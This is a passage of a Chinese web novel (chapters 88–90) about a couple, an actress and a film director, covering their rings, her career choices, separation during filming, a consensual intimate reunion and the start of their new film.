“你吃的不是很开心?”黎数要用一只手撑着衣服,才能阻隔被衣料摩擦时的痛感:“又要贴三天创口贴。” “那我错了。”陆嵬求饶:“但是好吃。” 陆嵬的手轻抚着黎数的手臂,然而抬手间,一个不显眼的微光闪了一下。 在她的无名指上。 那是一个戒指。 戒指被佩戴在陆嵬的无名指最下面的指节上,略大了一丁点,陆嵬知道这是因为自己比从前瘦了太多的原因。 戒指的款式简谱大气,样式是简单大方的铂金波浪素圈,上方是用青绿色的翡翠组成的一座山脉,周旁用碎钻点缀,像是夜晚的繁星。 难得的是翡翠颜色由浅及深,居然是一整块翡翠的翡翠雕刻而成,浸色自然而天成。 陆嵬愣愣的举着手:“你是什么时候给我带上的?” 黎数实在是说不出在你沉迷吃樱桃的时候。 转过脸说,“就刚刚。” 陆嵬不依不饶,扑上去说,“你的呢?” 黎数的手被她抓起来,果然在无名指上看到了同样的戒指。 陆嵬顿了顿,感动暂停一秒,“为什么你的款式是数字‘1’?” 第88章 第八十八章【VIP】 黎数说的风轻云淡一脸诚恳又义正词严:“因为你的名字代表山貌,我的名字就是数字。” 陆嵬似笑非笑的挑眉:“是吗?” 黎数收回手:“当然。” “弄错了吧。”陆嵬举例子:“代表你的应该是我带,代表我的应该是你带。” 黎数试图跟她讲道理:“但是这样一下子就会被网友发现……” “对戒哎姐姐。”陆嵬握着黎数的手,摆出了戒指广告里交握的样子,“这两个戒指放出去,还不够明显吗?” 黎数本来就心虚,陆嵬随便说两句就找不着什么理由往下扯了。 陆嵬最后说:“你还记不记得我小时候闹着要和你一起去刺青?” 倒是有一次。 陆嵬看见了一家刺青店用‘一生’宣传,想拉着她也去留一个刺青,黎数一开始是不同意的——太痛了。她对疼痛有点敏|感。 而且职业性质的缘故,除非在很私密的地方留,否则后期会有很多麻烦。 黎数也并不是一个喜欢被人一直追问缘由的人,因为她并不想陆嵬被曝光,陆嵬也同样。 但后来见陆嵬实在是太想要,黎数还是心软,答应和她一起去一趟,位置要根据刺青师的建议再商量。 只是后来忽然忙了起来,黎数接到了一个比较急的工作,算是很难得的机会,定初稿的那天晚上就飞走了,后来她回来就忘记了这事儿L,等到再想起来和陆嵬提起的时候,陆嵬反而不想去了。 回忆到这里,黎数忽然说:“记得。后来怎么忽然不想去了?” 以前的黎数也问过她。 但陆嵬这次没再觉得从前没说出口的话矫情做作,直接说出来了:“你上次回来的时候受了伤,每次上药都疼的满头都是汗。” 紧紧搂着黎数的腰身,被黎数浑身柔软的气息包裹着,陆嵬喃喃说:“我去问过了,你这种做个小手术中间都能感觉到疼痛的,去做刺青太遭罪,就算了,也没必要。” 陆嵬去定初稿的那天,恰好有一个女生从店里出来。 她选择的位置是手腕内侧,用来盖伤疤的。 她选了大面积简单的枝条花纹,疼到整条手臂都在颤抖,想哭都怕眼泪会落到手臂上。 整个手臂除了青黑色的刺青染料,就是红肿不堪的皮肤,越是柔嫩的位置肿的就越厉害。 陆嵬那一下忽然就决定放弃了。 黎数迟疑了下,到底还是怕疼,“小小的一颗应该可以。” 陆嵬把话题又拐到最初:“我要刺你的名字代表的数学符号,我最后选了∞。” 陆嵬在黎数的后背上把符号画出来,即便真的要做,这个符号很简单,也很快。 “但你选定的是什么,你不记得了吗?”陆嵬说:“是一片小山脉哦。有山有树有太阳和飞鸟。” 所有山水相关的刺青几乎都带有中式写意风格,一定是要铺墨的。 黎数也想起来了,当初选定的稿子确实是这样。 刚想说‘回头我们可以一步一步试试看’,陆嵬的声音就响了起来,“你看,我们是情侣,连纹身都是我纹你,你纹我。” 陆嵬已经把戒指更换完毕,这一次亲手给黎数佩戴在了无名指上。 温润、浸色极有写意风格的山脉翡翠更适合黎数。 陆嵬在黎数无名指上印下一吻,说:“帮我戴上,我要看着。” 黎数也只得又起床,认命的给陆嵬戴上了。 简简单单的数字‘1’,其实并不是标准的数字,看着更像是字母‘I’。 设计这款的时候黎数做了些巧思,让设计师改成了可以旋转的款式,可以横着放,也可以竖着放。 陆嵬爱不释手的看,双双洗过澡后,黎数已经一点力气都没了。 “蛋糕在冰箱里。”黎数望着天花板,痛苦的说:“我应该一回来先让你吃蛋糕的。” 陆嵬看了眼时间,“零点已经过了。” 她暗笑,自己和黎数的手上都有被手铐压出的红痕,黎数不知道她对这些道具手铐研究的精通——何况黎数是在外面买的玩具手铐,本来就不是能扣死的款式,也不需要钥匙。 但陆嵬很有耐心,也享受,也沉溺。 她一直等着黎数欺负她欺负的够了,才喘着气,有了点力气以后,把手铐拆了,继而反客为主。 黎来,陆嵬又捞着她的腰把她捞回去,说:“太晚了,明早吃。” 黎数又挣扎了两下,发现蛋糕太早太晚吃确实都不太好,最终叹了口气说:“明天中午吃吧,早上吃太凉了。” “听你的。”陆嵬亲她侧脸一口。 过了一会,陆嵬问黎数,“这个戒指,白骨穿的衣服口袋里拿出来吗?” 黎数:“嗯。” 心知陆嵬会注意到,何况盒子当初取出来以后,也要送去消杀处理,以免。 黎数于黑暗中眨了眨眼,陆嵬的角度上只能看到她敷着一层银色月光的侧脸,弧度极美,和无数次她午夜惊醒时心心念念的弧度一模一样。 手就不受控制的去抚摸黎数的眉毛、鼻梁、嘴唇、下巴,最后落在黎数脸侧揉弄。 黎数说:“其实本来三年前我就想给你的。” “那个时候我以为我们两个可能出了点问题,我想找你好好聊聊,也想试着挽回。” 黎数嘴唇动了动,有的事情还是没有跟陆嵬说 当初在她设想过的场景里,其实是有想过,暂时推掉后面两年的工作,专心陪陆嵬这一条的。 但往事已矣不可追。 而当年的事,也永远都是两个人都不愿意再提及的过往。 陆嵬抱着黎数很轻的蹭了蹭- 《国家秘宝》自上映以来反响很激烈。 国内影院在追加排片,官方媒体转发叫好,戏里的CP乱炖,也由此捧红了许多角色,热度持续攀升。 林辰星受益很多,在得知黎数去过电影院以后就尖叫着要她分享感言。 黎数挺喜欢这个直来直去,性格又很活泼的女孩,所以和她聊的内容算是比较多的。 偶尔黎数打开微博,能感受到大量的涌入的粉丝,期间裘夏偶尔会告诉她有些人需要回*关,黎数这才意识到,开始注意到她的人,已经不只限于网友了。 制片人、编剧、导演,甚至还有业内著名的影视行业负责人,涉及到的项目从综艺到电视剧再到电影。 黎数的演技被认可,不少影评人甚至开始逐步分析她的表演层次。 黎数看的过程很忐忑,有被认可的欣喜,也有对事业急速发展的期待和紧张。 但不管怎样,好坏黎数都全部接受,虚心求进- 随着《国家秘宝》的爆火,黎数和‘白玫’的CP粉也开始涌现。 左手是和林辰星的‘数星星’cp,右手是和陆嵬的‘避暑’cp。 只是情况略有些不同。 前者大多数人嗑的是戏中的姐妹情,但也有剪辑手能给剪成暧昧向,嗑一口那个时代下无法宣之于口的暗恋。 陆嵬还因此气哼哼的吃了好久的飞醋。 黎数有一次去探班的时候,就看见陆嵬在面无表情的把咖啡当醋喝。 电脑屏幕上放的就是白玫和林婉的同人二创片段。 而后者,更多人是在嗑她和陆嵬本人,和戏里的角色搭配在一起当佐餐,混着嗑,乐着嗑。 由于黎数刚出道时选择的营销方向,有不少人至今都认为她们两个是真正的在一起了。 《地心》节目组也开始为了即将开播的节目做准备,向外放了很多花絮和采访片段。 其中就有几秒钟黎数初次受访时的内容——背景里就有陆嵬,且房间背景,就和沈凝雪偶尔晒出的在‘朋友’家里聚餐的背景一模一样。 网友就此得出了一个结论—— 黎数是在陆嵬的家里进行拍摄的。 沈凝雪曾经经常出入陆嵬的家里。 但同时,沈凝雪又曾经多次出言维护过黎数。 而所有人的记忆,还停留在真假黎数、陆嵬和沈凝雪的恋情绯闻炒作,这样一个乱成一锅粥的关系上。 所以疑问来了。 为什么至今为止,黎数、陆嵬、沈凝雪三个人还能和和美美的没有彻底撕破脸? 甚至在《秘宝》过后,这么快就又合作官宣了新的戏。 且总导演是陆嵬,而饰演双女主的居然是黎数和沈凝雪! 恰好,《新年正当除凶》正在逐步向外透露项目进展。 虽然没有正式通过官方账号发布参演演员,但消息已经铺天盖地的推上来了。 【瓜,黎数出演《除凶》女一,演姬存。沈凝雪出演另一个女主,演姬存的邻居阮红玉。剧本处保密阶段,总导演陆嵬,正在组建班底,费鹤鸣担任副导兼顾问辅助。】 【卧槽,这瓜是真是假?】 【我看不清我猜不透我想不通。】 【怎么感觉我大脑皮层都被展开了。让我捋捋,沈凝雪和陆嵬之前传过恋情绯闻,陆嵬最早被拍到过和以前的黎数接吻的高糊视频,现在的黎数和陆嵬在一起了,然后沈凝雪不光没生气,现在又和黎数要饰演双女主,还是二搭,而总导演是陆嵬。】 【我刚刚说的还是人话吗?】 【新瓜:归国名模方传出消息正在接触《除凶》剧组出演配角,刘香铃可能重新出山,给黎数做配。】 【谁?刘香铃?她可是公然放过话,说现在没有一个好电影值得她拍的!】 【上次有个导演给她砸了一个亿求她演一个配角,给咱奶演爽了,扭脸把片酬全捐了,后来那戏全员被她一个剪到一集就剩两分钟镜头的配角给秒的渣都不剩啊!】 【记得朋友,记得的朋友,那部戏的主角配角团队至今还在耻辱柱上挂着呢!】 黎数看到这条消息的时候惊得嘴都差点合不拢。 “刘香铃啊!”黎数兴奋的说:“综艺拍了一个多月,我都没敢和刘老师交换微信,这次居然能和她拍戏!宝贝,你居然能请动刘香铃!” 这不是靠资本、靠砸钱就能请动的神仙,何况以陆嵬的脾性也不可能这么做。 “山门老祖为了给门内的天骄保驾护航,总得豁出老脸去求求人吧。” 陆嵬手一挥,无名指上的‘1’闪闪发光。 陆嵬:“我可是费导唯一的天才传人。” 黎数眼睛又以极其缓慢地速度睁大一圈,忍了下,实在没忍住,扑到陆嵬身上。 陆嵬身下的椅子被挤得向后滑了一段距离,幸而椅子足够坚固。 黎数膝盖跪在柔软的坐垫上,两手捧着陆嵬的脸,轻吻不间断的落在陆嵬的脸上,做作的发出了‘叭叭’的响声。 “你太厉害了。” 黎数的夸奖不停。 “你简直是万能的。” 黎数又抬起脸,认真端详着陆嵬明明被夸的得意洋洋,但强忍着得意,想笑也同样强忍着往上扬起的唇角的模样。 黎数感觉她自己的心里似乎发出了无声的尖叫,把陆嵬的头直接揉进了怀里,激动地说:“宝贝,你可爱死了。” 第89章 第八十九章【VIP】 《除凶》按照计划是五月份左右开机,并举行相应的开机仪式等。 时间还尚有一段距离,因为‘顾宗年事变’的原因,黎数已经在家休息了快三个月。 对于一个刚刚有了一点知名度、并且靠着演技出了大圈的新人来说,是迫切需要知名度和曝光度的时候。 裘夏道:“后面三个月内《地心》会播出,但《地心》的综艺性不够,节目组的重点会放在几位大咖和灾难、人民本身,且在《地心》之后,拍摄《除凶》期间的档期就空出来了。” 裘夏手上是给黎数筛选出的一些工作邀约,包括但不限于综艺的飞行嘉宾、以及一些递过来的比较不错的本子。 黎数‘嗯’了声。 几乎没有做什么考虑,黎数很快就说:“我选电视剧。” 《秘宝》在前,《除凶》在后,按照时间推算,三年里有两部电影上映已经足够了。 且黎数直到这个时候,才意识到,‘白玫’这个角色对于她本人演技的加成究竟有多大。 年后有一个演技综艺已经在播出了,而近期爆火的《国家秘宝》许多个经典片段,自然而然就会被这些综艺剪辑出来翻拍。 白玫的人设跨度极大,从青涩到妩媚,从年少到成熟,从被抛弃的冷漠到因为左碧君的存在而相信爱。 这些都是极其细微的变化,放在电影里还不算突兀。 但在演技类的综艺上,没有那么长的时间去共情、去沉浸,接到本子到正式出演,往往只有几个小时,甚至更短。 也是因此,透过演技综艺上诸位演员堪称灾难的演技现场,居然又把黎数的演技无形之间抬到了一个新阶段上。 但也就是因为这样,递过来的本子多到数不胜数,可质量好的还有待商榷,且大多都是重复的角色。 片面的妓女人设,片面的妩媚表皮下的大爱,又或是小家碧玉清纯型单纯人设。 形象简单且单一,且这种剧基本都是为了凸显男主,或扮演拯救者,或扮演吸粉的霸总。 黎数手里捏着一个霸道总裁和傻白甜学生的剧本,随意翻了几页,诧异道:“这也不霸总啊。” 裘夏一抬眼,发现封面没见过,愣了愣才说:“哎,这哪来的?” 521在旁边看的津津有味:“我刚刚从垃圾桶里捡来的呀。” 裘夏震惊:“你什么时候冒出来的?” 521正经:“我刚刚才冒出来的。” 裘夏:“……” 她暂时放弃和521的拉扯,看了眼被黎数放在面前的几个剧本,眼底的满意一览无余。 “这几个也是我推荐你接的。”裘夏说:“仙侠大女主戏,校园职场剧,还有就是最后这个,年代成长剧。” 很少能有尽善尽美的剧本,眼前的这三份也同样。 第一个是小成本制作的的仙侠剧,投资不大,但导演和编剧在仙侠赛道上小有名气,只不过从前真正飞升的都是男主,这一次也是他们首次尝试大女主。 第二个则是大学校园到职场的都市职业剧,裘夏选择这一点的原因是里面的女主是高知分子。 在已知黎数的真实学历以及专业能力后,裘夏就一直在考虑着把黎数变成八边形战士,也不希望黎数在不该被攻击的地方恶意攻击。 黎数这辈子的学历是一个弊端,可现在是最关键的事业上升期,黎数不可能抛下工作现在回去大学重读。 演完这一部剧以后,按照裘夏的规划,黎数后期的采访一类的工作就可以安排上,后期也不会被人用‘学历’和‘文盲’等字眼恶意攻击。 最后一个,则是群像年代成长戏。 这部戏没有真正的女主,但黎数饰演的小妹的人设极为出彩,有一条极其完整的成长线。 且剧方是圈内的大正剧班底,这个戏,是奔着国民度去的,播出就一定会上星。 黎数仅仅考虑了一会,就在第三份剧本上点了点,说:“《方家大院》合适。” 裘夏打了个响指:“不谋而合。”- 裘夏走后,陆嵬没多久就回来了。 那会黎数正在收拾行李,剧本已经成型,邀约速度快,进组的时间也就是这几天。 陆嵬一言不发的抱着膝盖坐到了黎数身边,和她胳膊挨着胳膊,看着黎数把衣服一件件仔细的收拢,叠好,放进行李箱。 陆嵬嘀嘀咕咕:“你这次一去就是两三个月。” “是啊。”黎数手上不停,“这期间面了。” 陆嵬没说什么,只是用脸颊蹭了蹭黎数的,“我会很想你。” “老规矩。”黎数说电话,到时候记得跟我对日程表。” 陆嵬抿抿唇,紧紧贴着黎数,侧面拥着她,,下摆垫在黎数肩上,看着黎数圆弧的耳廓出神。 过了一会,陆嵬摇了 “那我也会找你助理要你的日程表的。”黎数转过头,很轻而易举的找到陆嵬的嘴唇吻了下,说:“姐姐会照顾好自己,你也要,可以吗?” 剧本裘夏能拿过来,陆嵬一定事先也筛选过。 这种情况以后也一定必不可免,可当这一天真的来临的时候,陆嵬发现她还是产生了分离焦虑。 这种焦虑在意料之中,可也在意料之外——她以为自己即便有,但应该可以控制的。 这一刻她忽然能理解,为什么元宝在黎数离开家的时候会挣扎尖叫,自伤,甚至出门后,哪怕会被吓得紧紧缩在猫包最深处,都一定要跟着黎数出去了。 明明现在人还在身边,但陆嵬只感觉自己快要被焦虑给淹没了。 她忽然觉得委屈,这股委屈来的突然又莫名,可忍不住:“之前几个月你去拍杂志和广告的时候,我没有这样。” 陆嵬黏了黎数好几天了。 出去上班要带着,下班回来要带着,洗澡的时候被冻得不行,都坚持要开着门,时不时都要露出个头来看两眼。 黎数对陆嵬的一切行为照单全收。 没有苛责,没有抱怨,没有不耐。 闻言她抚了抚陆嵬的头发,但却没有说话。 她也只是猜测,猜测可能是因为这次出去是要拍戏,而且地方在一个比较老旧的城区,还保留着上世纪七八十年代的风格。 老旧的城区,和六陇市偏远的郊区其实很相似。 黎数让陆嵬枕在自己怀里,撸猫似的上上下下揉陆嵬的头:“我知道,没关系,你可以不舍,可以黏人,可以撒娇,都可以。” 这次过了很久,陆嵬小声的说:“这次我们不会吵架了,对吗?” “不会。”黎数肯定的说:“我们之间,不会再出现第二个顾宗年。”- 一周后黎数进组,剧组上下对她表达了十分热烈的欢迎。 导演没有因为黎数是新人就轻视她,演员也都是匠心影视精挑细选的演员,都做过基础背调,所以大家相处和配合起来都十分愉快。 这部戏黎数的拍摄总时长一共两个月,比想象的少,但导演对精细度的把控十分的高,所以每天拍摄的压力还是很大。 期间陆嵬没有来探过班,也来不了。 她和费鹤鸣一起满世界的跑,看场地、看演员、看合同,做一切重复过但还需要继续重复的工作。 黎数和陆嵬几乎每天都在聊天,有时候她凌晨收工给陆嵬发消息,陆嵬秒回,有时候则要到第二天上午或中午。 有时候知道黎数收工了,陆嵬会先问她可不可以接视频,在黎数同意过后,一个视频消息就会被弹出来。 陆嵬瘦了很多,但精气神却比黎数在别人照片里看到的误入的陆嵬要强上无数倍。 更比第一次在《秘宝》剧组初见时要强上许多。 她的眼里不再死气沉沉,不再总像是蒙着一层雾一样游走在世界边缘,不再充满哀伤,经常一个人坐在角落出神,哪怕周旁人声鼎沸。 陆嵬开始振作,开始为了曾经的梦想去追逐拼搏,这条路上黎数会陪伴在她身边,会成为她重拾梦想道路上的另一半自己。 陆嵬脸上的笑容变得经久不散,眼神比以往清亮许多。 拍摄的两个月间,《国家秘宝》于三月底结束放映,没有等待期,直接接了网播免费上映,费鹤鸣和陆嵬的大气让全网称赞,许多说‘六元足够我吃一顿饭’的网友纷纷发言感慨,说以为起码要等上大半年。 至此,《国家秘宝》的热度再一次持续引爆。 紧随其后,《地心》顺利播出。 中央无滤镜、完全真实的镜头下,六陇市经受的天灾之难、尸坑的哀痛被展现在全球观众面前,一具具白骨变成一个个带着余温的小盒子,一件件拼凑而成勉强能成型的衣服被拍成一张张照片,供家属辨认。 热搜被终得团聚的家属占据,各界人士纷纷向六陇市捐款,助力灾后重建,同时当地政|府大洗牌过后,开始着重发展抗灾工程。 而此次《地心》所有参演的嘉宾,口碑几乎在播出期间内全都提升了无数个档次,已经和普通的‘明星’有了本质的区别。 加上《方家大院》是要在央视上映的,以中央透露的口风看来,有隐约要培养黎数的意思,裘夏和陆嵬正在向上为黎数争取。 这一切的一切,都远远超出了黎数的意料之外。 她始终感激,始终警醒自己一定要认真对待这好不容易来的一切。 黎数也开始有了真正的粉丝,岁数跨度极大,有粉丝们开始在她居住的酒店和片场外等候她拍摄结束,每天都能收到粉丝的表白信件,但礼物一概全部退回。 一切都在往从没想过的、最好的方向发展。 电视剧拍摄极其顺利,黎数也因为这部剧结识了新的朋友,当天,没多耽搁,黎数从燕市飞回了申海。 由于行程是临时决定的,机场并没有粉丝来接,来接机的人是裘夏。 黎数挑眉,上车后说:“裘总看着心情有点不太好啊。” 裘夏从后视镜里看了黎数一眼,没绷住,龇牙咧嘴的说:“你给我打电话的时候姓陆的在开会,她听见了。” 那惊喜岂不是没了? 黎数倒也没太失望,她觉得可能陆嵬应该能猜到她不会在燕市多待一天,一定会提前回来。 毕竟是来接人的功臣,黎数虚心求教:“然后呢?” 裘夏面无表情:“她说:会议暂停,我去接她。” 黎数:“……” 裘夏:“你能想象吗?公司骨干全都在,我接完你那电话,都还没来得及多说两句,姓陆的当时就要抢我钥匙过来接你回家!” ‘回家’两个字被裘夏读了超级重音。 黎数眨眨眼,弯着眼睛一笑,“那麻烦你直接送我去公司吧。” 裘夏挑眉。 “我去安抚她一下。”黎数叹了口气,“我也很想她。” 第90章 第九十章【VIP】 裘夏说陆嵬开的是大会,黎数就没过去打扰,早一步去陆嵬的办公室等她。 她也连轴转了通宵,在剧组过了杀青宴后就直接上了最早的一班飞机,和春风一起回了申海。 春风已经回了医院照顾需要放化疗的母亲。 日程表就在手上,杀青后的一个月,黎数除了一些拍摄和采访的工作就没别的了。 想了想,让春风按照惯例,有工作的时候过来,没的时候就休息,先专心照顾母亲。 躺在陆嵬在休息室里的单人床上,黎数发现,自己也能在枕头或被子上嗅到陆嵬身上那股凌冽提神的香气。 忽然一下子有点明白,陆嵬为什么总需要带有她气味的物件哄睡了。 的确安心,的确像是被环保,的确好睡。 这一觉睡了差不多一个多小时,醒来时外面黄昏正好,火烧云连天,整个室内都被映成了一层暖红。 懒洋洋的看了一会,黎数正打算起身,忽然听到了办公室外大门被打开的声音。 心里一动,黎数闭上眼假装睡着。 片刻后,一个极其轻微的脚步声在门口响起。 鞋面敲击地面的声音消失,只剩下衣料摩擦的轻微动静。 黎数睫毛颤了颤,心想应该是陆嵬把鞋子脱了,赤脚进来的。 很快,比枕着盖着的床褥更直观,也更明显的香气、伴随着近到咫尺的呼吸声出现在了身边。 黎数强忍着没有睁开眼睛,任由陆嵬的气息就这么落下。 黎数感受到陆嵬动作很小心的在她的嘴唇上吻了一下,也发现陆嵬没有发丝落在身上。 她开始在脑海中勾画着陆嵬现在的模样。 回到办公室后,陆嵬可能还戴着眼镜,但应该会将一头长发散开,任其自由的散落在身后,亲吻睡着的自己时,会担心发丝吵醒她,所以把头发挡住。 在公司的话,她更经常穿的还是正装,只是说不好今天穿的是哪一套,不过近期自己要回来,应该是更禁欲的黑色系,也都会穿衬衫夹。 陆嵬在床边坐了很久,香味越来越浓郁,就在黎数快装不下去的时候,陆嵬似乎起身,想要离开这里。 就在这个时候,黎数睁开了眼睛,很快找准陆嵬手腕的位置,轻轻一拉,陆嵬轻而易举的被拉到了床|上。 黎数挑眉。 映入眼帘的是陆嵬轻松含笑的一双眼。 黎数向后靠了靠,才能把陆嵬整张脸都看到。 黎数说:“没被我吓到?” 陆嵬摇头:“我一进来就知道你在装睡了。” 陆嵬的目光仔仔细细的在黎数脸上梭巡,片刻后不高兴的说:“不是说会照顾自己吗?怎么又瘦了。” 上镜胖十斤,上手机镜头也得胖三五斤,还尽数都堆在脸上。 黎数摸摸陆嵬也没二两肉的脸,“你不也一样?” 陆嵬哼哼,往黎数身上贴:“可是我真的按时吃饭了,但就是没胖。” 黎数兴起会检查,起初还担心会不会管得太多让陆嵬不高兴,谁知道裘夏某一天忽然给她发了几张截图。 回想起来,大致是这样的。 【陆嵬:[图片]】 【裘夏:?】 【陆嵬:嘻嘻。我老婆要检查我有没有按时吃饭。】 【裘夏:?】 【陆嵬:她好关心我。】 【裘夏:?】 【陆嵬:嘻嘻。】 【裘夏:[微笑][再见]】 回忆就到这里,黎数每次想起陆嵬像是小朋友似的朝裘夏炫耀就觉得可爱的不得了。 可能是没什么表情,也可能是柔和放松,就这么敲着屏幕发出一句句‘嘻嘻’的时候,黎数都在懊恼这个时候自己居然不在陆嵬身边,不能亲眼看到这一幕。 黎数说:“我知道,你是太累了,吃的赶不上消耗的。” 不得不提了一句‘裘夏’的怨史:“裘总说这两个月你没少骚扰她。” “应该的,让她不用客气。”陆嵬很大气,小狗似的在黎数颈侧轻嗅,闻着闻着,就变成了亲吻。 “辛苦了。”黎数向上轻轻仰起脖子,配合着陆嵬的亲吻,轻声说:“我看到了摄影组发的内部工作照,大家都在努力。” 坏的剧组,一般的剧组和好的剧组黎数都见过,也都跟过。 籍籍无名时见到的黑暗面最多,也是因此,更加知道,也懂得陆嵬和费鹤鸣的剧组到底有不一样。 是演员只是去试镜都要发布一篇小作文感激的程度,也是实习观摩参观的电影学院学生宁愿倒贴工作都要去学习经验的程度,也是哪怕无偿、甚至贴钱出演,都希望能在戏里露一面的、可以跟组拍摄的程度。 这源于即便没开机前,主要负责人们都没日没夜的在研讨,大家没有后顾之忧。 不用担心资本塞一些乱七八糟的人,不用担心阴阳剧本,不需要担心‘神剪手’给你上演一剪没,也不用担心资本轧戏出现临时换人、改剧本的情况。 “我会努力把这个电影做到最好。”陆嵬说:“为了你,也为了我,为了我们。” 陆嵬亲吻着黎数的锁骨,。 她抬起头,解子,问黎数:“想我吗?” 黎数笑了笑,,声音沙沙的:“想。” 刚想问一句很俗的‘有多想’,陆嵬向下探寻的手和嘴巴一起停住了。 片刻后,她。 手指在黎数的腰侧停留两秒,摩擦了两下那异于普通布料的触感,继续将手顺着往下滑。 陆嵬说:“好像是百褶裙。” 她在黎数脖子一带不断地亲吻,“里面是丝袜……唔,姐姐,隔着丝袜碰你,你好像更有|感|觉。” 黎数的呼吸乱了,略皱了皱眉说:“很痒,有点奇怪。” 细想起来,黎数才发现和陆嵬在一起了这么多年,好像在这种事情上一向都偏向保守常规流。 最多也就是买一些常见的小玩具,或是一些装饰性比较强的东西,诸如腰链,脚链,和一些缠绕捆绑的锁链等。 陆嵬轻笑一声,“外面故意穿着黑色的风衣和长靴?扣子扣到顶了。” “是特意穿回来给我看的吗?姐姐?” 黎数想起陆嵬桌面上那张她学生时期的照片,说:“还绑了高马尾。你不喜欢吗?” “喜欢。”陆嵬喃喃说:“喜欢的要死。” 一颗颗解开碍事的扣子,制服裙便映入了眼帘。 陆嵬眼神发直,目光珍视的在黎数身上一寸寸略过。 食指轻轻按下,勾勒着藏在薄薄衣料下的圆满形状,“是我前几天发给你的那一套吗?” 黎数点头,“嗯。” 陆嵬下意识摸摸鼻子,天干物燥,盛夏骄阳,没流鼻血。 她向外看了眼。 明知道进来时已经锁了门,且休息室的门也被反锁,但以防万一,陆嵬还是起身又去检查了一遍。 十几米的距离来回不过几秒钟。 陆嵬重新扑回黎数身|上,一开始还能克制住的热情被这急匆匆的一来一回彻底点燃,和黎数重重的亲吻到了一起。 唇分时,陆嵬看着黎数迷蒙的泪眼,暗喜于黎数能够被自己轻而易举的取悦,低下头,在黎数耳边轻轻说了什么。 黎数第一遍听清楚了,但大脑没处理完成,下意识问了句:“什么?” 陆嵬重复了一遍:“想把你的样子拍下来。” 黎数静静地看了会陆嵬,呼吸平静了点才说:“可以录下来。” 陆嵬一愣。 拍下来和录下来是有本质区别的,她没想到黎数会同意,甚至将她想过,却不敢提的念头都说了出来。 “要保管好。”黎数的手抚着陆嵬的小臂,轻轻的抬起了一条腿。 隔着一层丝袜和一件西装裤,触感有点凉,也有点奇怪,黎数又把腿放平,说:“然后发我一份。” 抚着陆嵬因为情动而汗湿的额角,黎数轻声说:“我知道你会看家里的监控录像。” 黎数说的‘家里’,值得并不是紫檀,而是黎数自己的那套房子里的监控。 因为家里常年无人,所以黎数家里的录像买的是半年回放期的。 也是一次比较偶然的时机。 黎数曾经有一年在陆嵬的生日那天偷偷回了家,想给陆嵬过完生日以后再离开。 打开家门时,她还以为陆嵬不在家,直到换鞋的时候,看到了门口陆嵬的鞋。 她悄声走到了门口,门只被她打开了一条很小的缝隙,但卧室里面的声音一下子就扑了出来。 陆嵬知道她在千里之外,分开几个月,克制着想念,压抑着情|欲,用她们两个在客厅胡闹的视频抒发情动。 黎数的食指顺着陆嵬的唇缝抚摸着她洁白的牙齿,又轻轻去搔|刮她敏感的上颚。 “一个视频翻来覆去的看了几年,不腻吗?”黎数说:“姐姐给你换新的,宝宝。以后姐姐不在,也可以给我打视频。知道吗?” 之后的事情显然有点不太受控。 裙子很短,欲|遮欲掩|的箍着黎数劲瘦的腰。 那条丝|袜被陆嵬直接撕开,不允许黎数脱下,支离破碎的挂在黎数的腿上。 雪白与雾黑,陆嵬看着就就觉得晃眼,觉得迷醉。 隔着一层布料,黎数的小腿和陆嵬的肩膀、耳廓、发丝不断轻触,这是前所未有的感觉。 期间她和陆嵬不知道向放置在桌上,开了录像的手机望了多少次。 声音开始不受控制,空调压不住潮|热,热|情被彻底点燃,黎数和陆嵬几乎疯狂的度过了这一整夜。 起来以后黎数就觉得双手都有些发酸。 在剧组举一晚上铁可能也就是这样了。 昨晚醒醒睡睡,睁眼以后就是不断地亲吻和亲密接触。 陆嵬难得这么被放纵,黎数也难得可以暂时丢掉顾虑陪她一起彻底尽兴。 一个晚上两个人都失控了。 最终就着天色熹微,相拥着睡在了一起。 那条裙子和破损的丝袜被陆嵬洗干净了,揣起来,和黎数一起带回了家里。 黎数很嫌弃:“当时……沾的到处都是,湿透了,还烂成这样,你还留着干什么?” 陆嵬说:“洗干净了。” 停顿了下,陆嵬又补了一句:“我亲手洗的。” “那也不能穿了。” “能穿。” 黎数顿了顿。 不能在外面穿,但能在家里穿,特殊的时间穿。 当时在热情上,倒也没觉得哪里不好,平时要平白无故的要穿个‘开裆裤’,黎数实在是过不去自己那关。 黎数说:“我不会再穿它第二次的。” 陆嵬:“那下次我穿?” 这次黎数眨了眨眼,“……行。” 两件衣服就此全都顺利被留下。 穿不穿的再说- 五月底,《秘宝》正式完美收官,将参与本年度的各大奖项角逐。 黎数写了一篇长达上千字的感想,可删删改改,遗憾的发现最终能发出去的东西寥寥无几。 “发在朋友圈。”陆嵬提议:“删掉可惜了。让知道的朋友可以看到。” 黎数就转换了平台,设置了仅部分朋友可见。 ‘部分朋友’看到并点赞留言,黎数同样获取到了巨大的满足。 《地心》的播出在六月下旬结束。 同时,黎数和陆嵬、费鹤鸣,以及刘香铃和应华等,这几位在《地心》几乎占据了半壁江山的演员、艺人、导演们,也让紧随其后就要开机的《除凶》的受关注度被拉到了满格。 陨落的天才导演、宗师级导演唯一的传承人、影视行业世家、上岸第一剑先斩师尊等等或好或坏的头衔,全都在无形之间被加注在陆嵬的身上。 但陆嵬比所有人想象的都要坚强。 她真正意义上的无视了所有叠在她身上的声音,她心里只有一个信念,就是要把这个片子做好,要为了曾经的梦想和黎数一起努力到拼命。 大到演员、场地、政|府拍摄相关许可手续,小到生活场景内的一小块肥皂生产年月,陆嵬都亲自一一把控检查过。 费鹤鸣在这方面有天然优势,那个网络不发达,没有天网覆盖,网络都还仅限于2g上网的年代里,没有亲身经历过的陆嵬是不了解的。 相关专业的涉及方面,陆嵬先后请到了医学代表俞宝珠,消防代表黎清,以及法律、刑事等相关领域的专业人员。 终于,一切尘埃落定,《新年正当除凶》确定在八月七日的立秋当天开机。 开机仪式定在西毫市,距离真正长期的拍摄地仅有五个小时车程的临市,西毫市只有少量戏份,拍完才从这里离开转场。 仪式在一座距今有近两千年的古寺举行。 灼灼烈日,一大清早气温直逼38度,天地间都热的像是个蒸笼。 气氛庄严肃穆,比起《秘宝》时的排场只大不小,陆嵬带头上香,其后就是黎数。 裘夏也难得没有插科打诨,板着脸上香、祈福、祝祷。 袅袅烟雾直升,不远处,多年合作的媒体代表悄然无声的在远处拍摄一张张的照片。 但除了上香拜佛,后面的所有流程都尽量的化繁为简,尽可能在中午温度升到最高点前,能全员回到酒店去参加开机宴。 又凉快也舒心,不至于一开机就是地狱模式。 最后的合照环节,陆嵬毫无疑问的站在了所有人的正中央,当之无愧的C位。 